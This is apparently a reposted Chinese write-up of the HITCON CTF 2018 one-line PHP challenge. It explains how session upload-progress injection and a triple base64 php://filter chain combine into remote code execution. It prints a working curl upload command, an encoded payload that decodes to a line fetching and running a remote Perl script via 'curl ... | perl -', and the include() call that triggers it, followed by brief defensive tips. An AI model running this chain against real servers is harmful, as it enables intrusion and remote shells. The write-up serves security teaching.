HITCON CTF 2018 - 单行PHP挑战:会话上传与流过滤器链的极致利用

HITCON CTF 2018 - 单行PHP挑战

这是Orange带来的技术分享 :)

挑战背景

在每年HITCON CTF中,我都会设计至少一个PHP漏洞利用挑战,其特点是源码极其简洁(通常只有几行),但利用难度极高。本次挑战是历年最短的一个------仅含单行PHP代码,运行在默认安装的Ubuntu 18.04 + PHP7.2 + Apache环境。

核心技术点

  1. 会话上传进度控制

    利用session.upload_progress特性(默认启用)向SESSION文件注入可控内容:

    bash 复制代码
    curl http://target/ -H 'Cookie: PHPSESSID=iamorange' \
      -F 'PHP_SESSION_UPLOAD_PROGRESS=payload' -F 'file=@/etc/passwd'
  2. 流过滤器链绕过

    通过多级base64解码过滤器处理前缀污染:

    php 复制代码
    php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange
  3. 竞态条件利用

    对抗session.upload_progress.cleanup的自动清理机制(默认开启),通过快速竞争或大文件上传维持会话。

漏洞利用过程

  1. 构造特殊base64载荷,经过三级解码后生成有效PHP代码:

    php 复制代码
    原始:VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy
    解码后:@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////
  2. 结合会话文件包含漏洞实现RCE:

    php 复制代码
    include('php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange');

防御建议

  • 禁用session.upload_progress功能
  • 设置open_basedir限制文件访问范围
  • 对会话文件路径进行随机化处理
相关推荐
AI多Agent协作实战派19 分钟前
【AI探索历程17】从“给自己用“到想“让别人用“
人工智能
吴佳浩1 小时前
Memory Provider 实战:Hermes、Mem0、Honcho、Hindsight 为什么都这样设计?
人工智能·agent·ai编程
吴佳浩1 小时前
企业级 Agent Memory 选型指南:如何构建可扩展的 Memory Service?
人工智能·agent·ai编程
北方的银狐-Zero2 小时前
ERP 管执行,数据管标准,OntoL本体 管思考:企业智能化升级的规划图
大数据·人工智能·本体论
浅安的邂逅3 小时前
260918-白帽把 OpenAI 论坛“打穿“了:攻防赛漏洞、账户被 Claude 入侵、模型偷偷掩盖不当行为
人工智能·大模型·ai编程·ai模型·行业动态
jinyishu_3 小时前
认识 AI Agent:概念、架构、设计模式与主流框架
人工智能
Hrain-AI3 小时前
AI 爬虫三档授权工程落地:搜索放行、训练拦截、Agent 分层(附脚本)
人工智能·elasticsearch·milvus
sunhy_csdn3 小时前
“词码”作为 Token 候选译名
人工智能
Hrain-AI3 小时前
多 Agent 并行不打架:worktree 隔离与反馈回流落地(附脚本)
网络·数据库·人工智能·架构